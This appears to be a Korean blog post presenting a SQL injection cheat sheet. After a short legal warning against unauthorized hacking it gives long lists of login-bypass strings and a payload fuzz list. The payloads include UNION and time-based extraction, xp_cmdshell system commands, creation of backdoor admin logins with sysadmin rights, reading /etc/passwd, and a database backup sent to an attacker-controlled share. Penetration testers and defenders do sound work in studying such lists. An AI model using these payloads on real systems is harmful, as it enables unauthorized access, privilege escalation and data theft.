SQL Injection Cheat Sheet

 

 

 

 

 

 

[목차]

 

 

 

1. 경고

2. SQL Auth Bypass

3. SQL Injection Payloads

4. 참고

 

 

 

 

---

 

 

 

[경고]

 

 

 

누구든지 정당한 접근 권한 없이 또는

허용된 접근 권한을 넘어 정보통신망에 침입해서는 안 되며

허가되지 않은 모든 해킹 행위는 불법입니다.

 

 

적발시

 

 

통신비밀보호법

정보통신기반 보호법

정보통신망 이용촉진 및 정보보호 등에 관한 법률

 

 

등에 의거 

반드시 처벌 됨을 밝힙니다.

 

 

 

---

 

 

 

 

[SQL Auth Bypass]

 

 

' '

'&'

'^'

'*'

' or ''-'

' or '' '

' or ''&'

' or ''^'

' or ''*'

"-"

" "

"&"

"^"

"*"

" or ""-"

" or "" "

" or ""&"

" or ""^"

" or ""*"

or true--

" or true--

' or true--

") or true--

') or true--

' or 'x'='x

') or ('x')=('x

')) or (('x'))=(('x

" or "x"="x

") or ("x")=("x

")) or (("x"))=(("x

or 1=1

or 1=1--

or 1=1#

or 1=1/*

admin' --

admin' #

admin'/*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/*

admin'or 1=1 or ''='

admin' or 1=1

admin' or 1=1--

admin' or 1=1#

admin' or 1=1/*

admin') or ('1'='1

admin') or ('1'='1'--

admin') or ('1'='1'#

admin') or ('1'='1'/*

admin') or '1'='1

admin') or '1'='1'--

admin') or '1'='1'#

admin') or '1'='1'/*

1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

admin" --

admin" #

admin"/*

admin" or "1"="1

admin" or "1"="1"--

admin" or "1"="1"#

admin" or "1"="1"/*

admin"or 1=1 or ""="

admin" or 1=1

admin" or 1=1--

admin" or 1=1#

admin" or 1=1/*

admin") or ("1"="1

admin") or ("1"="1"--

admin") or ("1"="1"#

admin") or ("1"="1"/*

admin") or "1"="1

admin") or "1"="1"--

admin") or "1"="1"#

admin") or "1"="1"/*

1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

==

=

'

' --

' #

' –

'--

'/*

'#

" --

" #

"/*

' and 1='1

' and a='a

or 1=1

or true

' or ''='

" or ""="

1′) and '1′='1–

' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055

" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055

and 1=1

and 1=1–

' and 'one'='one

' and 'one'='one–

' group by password having 1=1--

' group by userid having 1=1--

' group by username having 1=1--

like '%'

or 0=0 --

or 0=0 #

or 0=0 –

' or 0=0 #

' or 0=0 --

' or 0=0 #

' or 0=0 –

" or 0=0 --

" or 0=0 #

" or 0=0 –

%' or '0'='0

or 1=1

or 1=1--

or 1=1/*

or 1=1#

or 1=1–

' or 1=1--

' or '1'='1

' or '1'='1'--

' or '1'='1'/*

' or '1'='1'#

' or '1′='1

' or 1=1

' or 1=1 --

' or 1=1 –

' or 1=1--

' or 1=1;#

' or 1=1/*

' or 1=1#

' or 1=1–

') or '1'='1

') or '1'='1--

') or '1'='1'--

') or '1'='1'/*

') or '1'='1'#

') or ('1'='1

') or ('1'='1--

') or ('1'='1'--

') or ('1'='1'/*

') or ('1'='1'#

'or'1=1

'or'1=1′

" or "1"="1

" or "1"="1"--

" or "1"="1"/*

" or "1"="1"#

" or 1=1

" or 1=1 --

" or 1=1 –

" or 1=1--

" or 1=1/*

" or 1=1#

" or 1=1–

") or "1"="1

") or "1"="1"--

") or "1"="1"/*

") or "1"="1"#

") or ("1"="1

") or ("1"="1"--

") or ("1"="1"/*

") or ("1"="1"#

) or '1′='1–

) or ('1′='1–

' or 1=1 LIMIT 1;#

'or 1=1 or ''='

"or 1=1 or ""="

' or 'a'='a

' or a=a--

' or a=a–

') or ('a'='a

" or "a"="a

") or ("a"="a

') or ('a'='a and hi") or ("a"="a

' or 'one'='one

' or 'one'='one–

' or uid like '%

' or uname like '%

' or userid like '%

' or user like '%

' or username like '%

' or 'x'='x

') or ('x'='x

" or "x"="x

' OR 'x'='x'#;

'=' 'or' and '=' 'or'

' UNION ALL SELECT 1, @@version;#

' UNION ALL SELECT system_user(),user();#

' UNION select table_schema,table_name FROM information_Schema.tables;#

admin' and substring(password/text(),1,1)='7

 

 

 

 

---

 

 

 

[SQL injection payloads]

 

 

# ms-sqli info disclosure payload fuzzfile

# replace regex with your fuzzer for best results <attackerip> <sharename>

# run wireshark or tcpdump, look for incoming smb or icmp packets from victim

# might need to terminate payloads with ;--

select @@version

select @@servernamee

select @@microsoftversione

select * from master..sysserverse

select * from sysusers

exec master..xp_cmdshell 'ipconfig+/all'

exec master..xp_cmdshell 'net+view'

exec master..xp_cmdshell 'net+users'

exec master..xp_cmdshell 'ping+<attackerip>'

BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'

create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--

# you will need to customize/modify some of the vaules in the queries for best effect

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

'create user name identified by 'pass123' --

'create user name identified by pass123 temporary tablespace temp default tablespace users;

' ; drop table temp --

'exec sp_addlogin 'name' , 'password' --

' exec sp_addsrvrolemember 'name' , 'sysadmin' --

' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) --

' grant connect to name; grant resource to name; --

' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

' or 1=1 --

' union (select @@version) --

' union (select NULL, (select @@version)) --

' union (select NULL, NULL, (select @@version)) --

' union (select NULL, NULL, NULL, (select @@version)) --

' union (select NULL, NULL, NULL, NULL, (select @@version)) --

' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --

1'1

1 exec sp_ (or exec xp_)

1 and 1=1

1' and 1=(select count(*) from tablenames); --

1 or 1=1

1' or '1'='1

)%20or%20('x'='x

%20or%201=1

; execute immediate 'sel' || 'ect us' || 'er'

benchmark(10000000,MD5(1))#

update

";waitfor delay '0:0:__TIME__'--

1) or pg_sleep(__TIME__)--

||(elt(-3+5,bin(15),ord(10),hex(char(45))))

"hi"") or (""a""=""a"

delete

like

" or sleep(__TIME__)#

pg_sleep(__TIME__)--

*(|(objectclass=*))

declare @q nvarchar (200) 0x730065006c00650063 ...

or 0=0 #

insert

1) or sleep(__TIME__)#

) or ('a'='a

; exec xp_regread

*|

@var select @var as var into temp end --

1)) or benchmark(10000000,MD5(1))#

asc

(||6)

"a"" or 3=3--"

" or benchmark(10000000,MD5(1))#

# from wapiti

or 0=0 --

1 waitfor delay '0:0:10'--

or 'a'='a

hi or 1=1 --"

or a = a

UNION ALL SELECT

) or sleep(__TIME__)='

)) or benchmark(10000000,MD5(1))#

hi' or 'a'='a

0

21 %

limit

or 1=1

or 2 > 1

")) or benchmark(10000000,MD5(1))#

PRINT

hi') or ('a'='a

or 3=3

));waitfor delay '0:0:__TIME__'--

a' waitfor delay '0:0:10'--

1;(load_file(char(47,101,116,99,47,112,97,115, ...

or%201=1

1 or sleep(__TIME__)#

or 1=1

and 1 in (select var from temp)--

or '7659'='7659

or 'text' = n'text'

--

or 1=1 or ''='

declare @s varchar (200) select @s = 0x73656c6 ...

exec xp

; exec master..xp_cmdshell 'ping 172.10.1.255'--

3.10E+17

" or pg_sleep(__TIME__)--

x' AND email IS NULL; --

&

admin' or '

or 'unusual' = 'unusual'

//

truncate

1) or benchmark(10000000,MD5(1))#

\x27UNION SELECT

declare @s varchar(200) select @s = 0x77616974 ...

tz_offset

sqlvuln

"));waitfor delay '0:0:__TIME__'--

||6

or%201=1 --

%2A%28%7C%28objectclass%3D%2A%29%29

or a=a

) union select * from information_schema.tables;

PRINT @@variable

or isNULL(1/0) /*

26 %

" or "a"="a

(sqlvuln)

x' AND members.email IS NULL; --

or 1=1--

and 1=( if((load_file(char(110,46,101,120,11 ...

0x770061006900740066006F0072002000640065006C00 ...

%20'sleep%2050'

as

1)) or pg_sleep(__TIME__)--

/**/or/**/1/**/=/**/1

union all select @@version--

,@variable

(sqlattempt2)

or (EXISTS)

t'exec master..xp_cmdshell 'nslookup www.googl ...

%20$(sleep%2050)

1 or benchmark(10000000,MD5(1))#

%20or%20''='

||UTL_HTTP.REQUEST

or pg_sleep(__TIME__)--

hi' or 'x'='x';

") or sleep(__TIME__)="

or 'whatever' in ('whatever')

; begin declare @var varchar(8000) set @var=' ...

union select 1,load_file('/etc/passwd'),1,1,1;

0x77616974666F722064656C61792027303A303A313027 ...

exec(@s)

) or pg_sleep(__TIME__)--

union select

or sleep(__TIME__)#

select * from information_schema.tables--

a' or 1=1--

a' or 'a' = 'a

declare @s varchar(22) select @s =

or 2 between 1 and 3

or a=a--

or '1'='1

|

or sleep(__TIME__)='

or 1 --'

or 0=0 #"

having

a'

" or isNULL(1/0) /*

declare @s varchar (8000) select @s = 0x73656c ...

‘ or 1=1 --

char%4039%41%2b%40SELECT

order by

bfilename

having 1=1--

) or benchmark(10000000,MD5(1))#

or username like char(37);

;waitfor delay '0:0:__TIME__'--

" or 1=1--

x' AND userid IS NULL; --

*/*

or 'text' > 't'

(select top 1

or benchmark(10000000,MD5(1))#

");waitfor delay '0:0:__TIME__'--

a' or 3=3--

-- &password=

group by userid having 1=1--

or ''='

; exec master..xp_cmdshell

%20or%20x=x

select

")) or sleep(__TIME__)="

0x730065006c0065006300740020004000400076006500 ...

hi' or 1=1 --

") or pg_sleep(__TIME__)--

%20or%20'x'='x

or 'something' = 'some'+'thing'

exec sp

29 %

(

ý or 1=1 --

1 or pg_sleep(__TIME__)--

0 or 1=1

) or (a=a

uni/**/on sel/**/ect

replace

%27%20or%201=1

)) or pg_sleep(__TIME__)--

%7C

x' AND 1=(SELECT COUNT(*) FROM tabname); --

&apos;%20OR

; or '1'='1'

declare @q nvarchar (200) select @q = 0x770061 ...

1 or 1=1

; exec ('sel' + 'ect us' + 'er')

23 OR 1=1

/

anything' OR 'x'='x

declare @q nvarchar (4000) select @q =

or 0=0 --

desc

||'6

)

1)) or sleep(__TIME__)#

or 0=0 #

select name from syscolumns where id = (sele ...

hi or a=a

*(|(mail=*))

password:*/=1--

distinct

);waitfor delay '0:0:__TIME__'--

to_timestamp_tz

") or benchmark(10000000,MD5(1))#

UNION SELECT

%2A%28%7C%28mail%3D%2A%29%29

+sqlvuln

or 1=1 /*

)) or sleep(__TIME__)='

or 1=1 or ""=

or 1 in (select @@version)--

sqlvuln;

union select * from users where login = char ...

x' or 1=1 or 'x'='y

28 %

‘ or 3=3 --

@variable

or '1'='1'--

"a"" or 1=1--"

//*

%2A%7C

" or 0=0 --

")) or pg_sleep(__TIME__)--

?

or 1/*

!

'

or a = a

declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)

declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s)

declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)

declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)

' or 1=1

or 1=1 --

x' OR full_name LIKE '%Bob%

'; exec master..xp_cmdshell 'ping 172.10.1.255'--

'%20or%20''='

'%20or%20'x'='x

')%20or%20('x'='x

' or 0=0 --

' or 0=0 #

or 0=0 #"

' or 1=1--

' or '1'='1'--

' or 1 --'

or 1=1--

' or 1=1 or ''='

or 1=1 or ""=

' or a=a--

or a=a

') or ('a'='a

'hi' or 'x'='x';

or

procedure

handler

' or username like '%

' or uname like '%

' or userid like '%

' or uid like '%

' or user like '%

'; exec master..xp_cmdshell

'; exec xp_regread

t'exec master..xp_cmdshell 'nslookup www.google.com'--

--sp_password

' UNION SELECT

' UNION ALL SELECT

' or (EXISTS)

' (select top 1

'||UTL_HTTP.REQUEST

1;SELECT%20*

<>"'%;)(&+

'%20or%201=1

'sqlattempt1

%28

%29

%26

%21

' or ''='

' or 3=3

or 3=3 --

 

 

 

 

---

 

 

 

[참고]

 

 

출처 :

https://github.com/omurugur/SQL_Injection_Payload

 

참고 사이트 :

http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet